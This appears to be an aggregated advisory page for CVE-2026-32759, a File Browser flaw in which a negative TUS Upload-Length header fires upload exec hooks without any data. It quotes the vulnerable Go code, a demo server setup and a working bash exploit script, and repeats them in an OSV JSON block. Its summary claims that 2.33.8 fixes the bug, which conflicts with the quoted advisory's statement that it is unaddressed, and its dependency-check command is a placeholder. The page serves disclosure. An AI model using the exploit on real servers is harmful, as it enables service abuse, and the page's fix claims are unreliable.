CVE-2026-32759: Github.com/filebrowser/filebrowser/v2 File Browser TUS Negative Upload-Length Vulnerability

MODERATE
Advisory Identifier: GHSA-ffx7-75gc-jg7c
CWE-190 CWE-20
Published
Advisory Summary

CVE-2026-32759 is a MODERATE file browser tus negative upload-length vulnerability (CWE-190: Integer Overflow or Wraparound) affecting Github.com/filebrowser/filebrowser/v2 libraries in the Go ecosystem. The issue involves file browser tus negative upload-length fires post-upload hooks prematurely. Remediation is available by upgrading affected packages to version 2.33.8.

CVE-2026-32759 at a Glance

CVE Identifier CVE-2026-32759
GHSA Identifier GHSA-ffx7-75gc-jg7c
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-190: Integer Overflow or Wraparound
Affected Product Github.com/filebrowser/filebrowser/v2
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-32759

To remediate this vulnerability, upgrade all affected Github.com/filebrowser/filebrowser/v2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/filebrowser/filebrowser/v2 fixed: 2.33.8
Upgrade github.com/filebrowser/filebrowser/v2 to 2.33.8
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/filebrowser/filebrowser/v2

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-32759, inspect your project dependencies for Github.com/filebrowser/filebrowser/v2:

inspect dependencies for github.com/filebrowser/filebrowser/v2

Analyze the terminal output to locate any version of Github.com/filebrowser/filebrowser/v2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.33.8), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-190: Integer Overflow or Wraparound, where the product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. this occurs when an integer value is incremented to a value that is too large to store in the associated representation. when this occurs, the value may become a very small or negative number. In Github.com/filebrowser/filebrowser/v2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

> [!NOTE] > **This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations**. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed. > > For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199. ## Summary The TUS resumable upload handler parses the Upload-Length header as a signed 64-bit integer without validating that the value is non-negative. When a negative value is supplied (e.g. -1), the first PATCH request immediately satisfies the completion condition (newOffset >= uploadLength --> 0 >= -1), causing the server to fire after_upload exec hooks with a partial or empty file. An authenticated user with upload permission can trigger any configured after_upload hook an unlimited number of times for any filename they choose, regardless of whether the file was actually uploaded - with zero bytes written. ## Details **Affected file:** http/tus_handlers.go **Vulnerable code - POST (register upload):** ```go func getUploadLength(r *http.Request) (int64, error) { uploadOffset, err := strconv.ParseInt(r.Header.Get("Upload-Length"), 10, 64) if err != nil { return 0, fmt.Errorf("invalid upload length: %w", err) } return uploadOffset, nil } uploadLength, err := getUploadLength(r) cache.Register(file.RealPath(), uploadLength) ``` **Vulnerable code - PATCH (write chunk):** ```go newOffset := uploadOffset + bytesWritten if newOffset >= uploadLength { cache.Complete(file.RealPath()) _ = d.RunHook(func() error { return nil }, "upload", r.URL.Path, "", d.user) } ``` **The completion check uses signed comparison.** Any negative uploadLength is always less than newOffset ( which starts at 0 ), so the hook fires on the very first PATCH regardless of how many bytes were sent. **Consequence:** An attacker with upload permission can: 1. Initiate a TUS upload for any filename with Upload-Length: -1 2. Send a PATCH with an empty body ( Upload-Offset: 0 ) 3. after_upload hook fires immediately with a 0-byte (or partial) file 4. Repeat indefinitely - each POST+PATCH cycle re-fires the hook If exec hooks are enabled and perform important operations on uploaded files (virus scanning, image processing, notifications, data pipeline ingestion), they will be triggered with attacker-controlled filenames and empty file contents. ## Demo Server Setup ```bash docker run -d --name fb-tus \ -p 8080:80 \ -v /tmp/fb-tus:/srv \ -e FB_EXECER=true \ filebrowser/filebrowser:v2.31.2 ADMIN_TOKEN=$(curl -s -X POST http://localhost:8080/api/login \ -H 'Content-Type: application/json' \ -d '{"username":"admin","password":"admin"}') curl -s -X PUT http://localhost:8080/api/settings \ -H "X-Auth: $ADMIN_TOKEN" \ -H 'Content-Type: application/json' \ -d '{ "commands": { "after_upload": ["bash -c \"echo HOOK_FIRED: $FILE $(date) >> /tmp/hook_log.txt\""] } }' ``` ## PoC Exploit ```bash #!/bin/bash TARGET="http://localhost:8080" TOKEN=$(curl -s -X POST "$TARGET/api/login" \ -H "Content-Type: application/json" \ -d '{"username":"attacker","password":"Attack3r!pass"}') echo "[*] Token: ${TOKEN:0:40}..." FILENAME="/trigger_test_$(date +%s).txt" echo "[*] Step 1: POST TUS upload with Upload-Length: -1" curl -s -X POST "$TARGET/api/tus$FILENAME" \ -H "X-Auth: $TOKEN" \ -H "Upload-Length: -1" \ -H "Content-Length: 0" \ -v 2>&1 | grep -E "HTTP|Location" echo "" echo "[*] Step 2: PATCH with empty body (uploadOffset=0 >= uploadLength=-1 → hook fires)" curl -s -X PATCH "$TARGET/api/tus$FILENAME" \ -H "X-Auth: $TOKEN" \ -H "Upload-Offset: 0" \ -H "Content-Type: application/offset+octet-stream" \ -H "Content-Length: 0" \ -v 2>&1 | grep -E "HTTP|Upload" echo "" echo "[*] Checking hook log on server (/tmp/hook_log.txt)..." echo "[*] If hook fired, you will see entries like:" echo " HOOK_FIRED: /srv/trigger_test_XXXX.txt <timestamp>" echo "" echo "[*] Repeating 5 times to demonstrate unlimited hook triggering..." for i in $(seq 1 5); do FNAME="/spam_hook_$i.txt" curl -s -X POST "$TARGET/api/tus$FNAME" \ -H "X-Auth: $TOKEN" \ -H "Upload-Length: -1" \ -H "Content-Length: 0" > /dev/null curl -s -X PATCH "$TARGET/api/tus$FNAME" \ -H "X-Auth: $TOKEN" \ -H "Upload-Offset: 0" \ -H "Content-Type: application/offset+octet-stream" \ -H "Content-Length: 0" > /dev/null echo " Hook trigger $i sent" done echo "[*] Done - 5 hooks fired with 0 bytes uploaded." ``` ## Impact **Exec Hook Abuse (when enableExec = true):** An attacker can trigger any after_upload exec hook an unlimited number of times with attacker-controlled filenames and empty file contents. Depending on the hook's purpose, this enables: - **Denial of Service:** Triggering expensive processing hooks ( virus scanning, transcoding, ML inference ) with zero cost on the attacker's side. - **Command Injection amplification:** Combined with the hook injection vulnerability (malicious filename + shell-wrapped hook), each trigger becomes a separate RCE. - **Business logic abuse:** Triggering upload-driven workflows ( S3 ingestion, database inserts, notifications ) with empty payloads or arbitrary filenames. **Hook-free impact:** Even without exec hooks, a negative Upload-Length creates an inconsistent cache entry. The file is marked "complete" in the upload cache immediately, but the underlying file may be 0 bytes. Any subsequent read expecting a complete file will receive an empty file. **Who is affected:** All deployments using the TUS upload endpoint (`/api/tus`). The `enableExec` flag amplifies the impact from cache inconsistency to remote command execution. ## Resolution This vulnerability has not been addressed, and has been added to the issue where we're tracking all security vulnerabilities regarding the command execution (https://github.com/filebrowser/filebrowser/issues/5199). Command execution is disabled by default for all installations and users are warned if they enable it. This feature is not to be used in untrusted environments and we recommend to not use it.

CVE-2026-32759 Affected Github.com/filebrowser/filebrowser/v2 Versions

1 component(s)
Fixed Versions:
2.33.8
Product / Package Ecosystem Affected Versions Fixed Version
github.com/filebrowser/filebrowser/v2
Go
< 2.33.8
2.33.8

References

Frequently Asked Questions

What is CVE-2026-32759?
CVE-2026-32759 is a security vulnerability in Github.com/filebrowser/filebrowser/v2 involving File Browser TUS Negative Upload-Length Fires Post-Upload Hooks Prematurely under CWE-190: Integer Overflow or Wraparound.
Which Github.com/filebrowser/filebrowser/v2 versions are affected?
Affected versions include releases prior to 2.33.8 across affected packages: github.com/filebrowser/filebrowser/v2.
What version fixes CVE-2026-32759?
Upgrading to 2.33.8 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/filebrowser/filebrowser/v2 affected?
Yes, github.com/filebrowser/filebrowser/v2 is affected in releases prior to 2.33.8. Upgrade your dependency to 2.33.8 or later.
What CWE is associated with CVE-2026-32759?
CVE-2026-32759 is classified under CWE-190: Integer Overflow or Wraparound (The product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. This occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may become a very small or negative number.).
How can I check Go dependencies for CVE-2026-32759?
Run the dependency tree command: 'inspect dependencies for github.com/filebrowser/filebrowser/v2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-ffx7-75gc-jg7c",
  "modified" : "2026-06-09T11:51:25Z",
  "published" : "2026-03-16T20:43:29Z",
  "aliases" : [ "CVE-2026-32759" ],
  "summary" : "File Browser TUS Negative Upload-Length Fires Post-Upload Hooks Prematurely",
  "details" : "> [!NOTE]\n> **This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations**. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.\n>\n> For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.\n\n## Summary\nThe TUS resumable upload handler parses the Upload-Length header as a signed 64-bit integer without validating that the value is non-negative. When a negative value is supplied (e.g. -1), the first PATCH request immediately satisfies the completion condition (newOffset >= uploadLength --> 0 >= -1), causing the server to fire after_upload exec hooks with a partial or empty file. An authenticated user with upload permission can trigger any configured after_upload hook an unlimited number of times for any filename they choose, regardless of whether the file was actually uploaded - with zero bytes written.\n\n## Details\n\n**Affected file:** http/tus_handlers.go\n\n**Vulnerable code - POST (register upload):**\n```go\nfunc getUploadLength(r *http.Request) (int64, error) {\n    uploadOffset, err := strconv.ParseInt(r.Header.Get(\"Upload-Length\"), 10, 64)\n    if err != nil {\n        return 0, fmt.Errorf(\"invalid upload length: %w\", err)\n    }\n    return uploadOffset, nil\n}\n\nuploadLength, err := getUploadLength(r)\ncache.Register(file.RealPath(), uploadLength)\n```\n\n**Vulnerable code - PATCH (write chunk):**\n```go\nnewOffset := uploadOffset + bytesWritten  \nif newOffset >= uploadLength {            \n    cache.Complete(file.RealPath())\n    _ = d.RunHook(func() error { return nil }, \"upload\", r.URL.Path, \"\", d.user)\n}\n```\n\n**The completion check uses signed comparison.** Any negative uploadLength is always less than newOffset ( which starts at 0 ), so the hook fires on the very first PATCH regardless of how many bytes were sent.\n\n**Consequence:** An attacker with upload permission can:\n1. Initiate a TUS upload for any filename with Upload-Length: -1\n2. Send a PATCH with an empty body ( Upload-Offset: 0 )\n3. after_upload hook fires immediately with a 0-byte (or partial) file\n4. Repeat indefinitely - each POST+PATCH cycle re-fires the hook\n\nIf exec hooks are enabled and perform important operations on uploaded files (virus scanning, image processing, notifications, data pipeline ingestion), they will be triggered with attacker-controlled filenames and empty file contents.\n\n## Demo Server Setup\n\n```bash\ndocker run -d --name fb-tus \\\n  -p 8080:80 \\\n  -v /tmp/fb-tus:/srv \\\n  -e FB_EXECER=true \\\n  filebrowser/filebrowser:v2.31.2\n\nADMIN_TOKEN=$(curl -s -X POST http://localhost:8080/api/login \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"admin\",\"password\":\"admin\"}')\n\ncurl -s -X PUT http://localhost:8080/api/settings \\\n  -H \"X-Auth: $ADMIN_TOKEN\" \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"commands\": {\n      \"after_upload\": [\"bash -c \\\"echo HOOK_FIRED: $FILE $(date) >> /tmp/hook_log.txt\\\"\"]\n    }\n  }'\n```\n\n## PoC Exploit\n\n```bash\n#!/bin/bash\n\nTARGET=\"http://localhost:8080\"\n\nTOKEN=$(curl -s -X POST \"$TARGET/api/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"attacker\",\"password\":\"Attack3r!pass\"}')\n\necho \"[*] Token: ${TOKEN:0:40}...\"\n\nFILENAME=\"/trigger_test_$(date +%s).txt\"\n\necho \"[*] Step 1: POST TUS upload with Upload-Length: -1\"\ncurl -s -X POST \"$TARGET/api/tus$FILENAME\" \\\n  -H \"X-Auth: $TOKEN\" \\\n  -H \"Upload-Length: -1\" \\\n  -H \"Content-Length: 0\" \\\n  -v 2>&1 | grep -E \"HTTP|Location\"\n\necho \"\"\necho \"[*] Step 2: PATCH with empty body (uploadOffset=0 >= uploadLength=-1 → hook fires)\"\ncurl -s -X PATCH \"$TARGET/api/tus$FILENAME\" \\\n  -H \"X-Auth: $TOKEN\" \\\n  -H \"Upload-Offset: 0\" \\\n  -H \"Content-Type: application/offset+octet-stream\" \\\n  -H \"Content-Length: 0\" \\\n  -v 2>&1 | grep -E \"HTTP|Upload\"\n\necho \"\"\necho \"[*] Checking hook log on server (/tmp/hook_log.txt)...\"\necho \"[*] If hook fired, you will see entries like:\"\necho \"    HOOK_FIRED: /srv/trigger_test_XXXX.txt <timestamp>\"\n\necho \"\"\necho \"[*] Repeating 5 times to demonstrate unlimited hook triggering...\"\nfor i in $(seq 1 5); do\n  FNAME=\"/spam_hook_$i.txt\"\n  curl -s -X POST \"$TARGET/api/tus$FNAME\" \\\n    -H \"X-Auth: $TOKEN\" \\\n    -H \"Upload-Length: -1\" \\\n    -H \"Content-Length: 0\" > /dev/null\n  \n  curl -s -X PATCH \"$TARGET/api/tus$FNAME\" \\\n    -H \"X-Auth: $TOKEN\" \\\n    -H \"Upload-Offset: 0\" \\\n    -H \"Content-Type: application/offset+octet-stream\" \\\n    -H \"Content-Length: 0\" > /dev/null\n  \n  echo \"  Hook trigger $i sent\"\ndone\necho \"[*] Done - 5 hooks fired with 0 bytes uploaded.\"\n```\n\n## Impact\n\n**Exec Hook Abuse (when enableExec = true):**\n\nAn attacker can trigger any after_upload exec hook an unlimited number of times with attacker-controlled filenames and empty file contents. Depending on the hook's purpose, this enables:\n\n- **Denial of Service:**\n\nTriggering expensive processing hooks ( virus scanning, transcoding, ML inference ) with zero cost on the attacker's side.\n\n- **Command Injection amplification:**\n\nCombined with the hook injection vulnerability (malicious filename + shell-wrapped hook), each trigger becomes a separate RCE.\n\n- **Business logic abuse:** \n\nTriggering upload-driven workflows ( S3 ingestion, database inserts, notifications ) with empty payloads or arbitrary filenames.\n\n**Hook-free impact:**\n\nEven without exec hooks, a negative Upload-Length creates an inconsistent cache entry. The file is marked \"complete\" in the upload cache immediately, but the underlying file may be 0 bytes. Any subsequent read expecting a complete file will receive an empty file.\n\n**Who is affected:**\n\nAll deployments using the TUS upload endpoint (`/api/tus`). The `enableExec` flag amplifies the impact from cache inconsistency to remote command execution.\n\n## Resolution\n\nThis vulnerability has not been addressed, and has been added to the issue where we're tracking all security vulnerabilities regarding the command execution (https://github.com/filebrowser/filebrowser/issues/5199). Command execution is disabled by default for all installations and users are warned if they enable it. This feature is not to be used in untrusted environments and we recommend to not use it.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/filebrowser/filebrowser/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.33.8"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-ffx7-75gc-jg7c"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32759"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/filebrowser/filebrowser/issues/5199"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/filebrowser/filebrowser"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-190", "CWE-20" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-16T20:43:29Z",
    "nvd_published_at" : "2026-03-20T00:16:17Z"
  }
}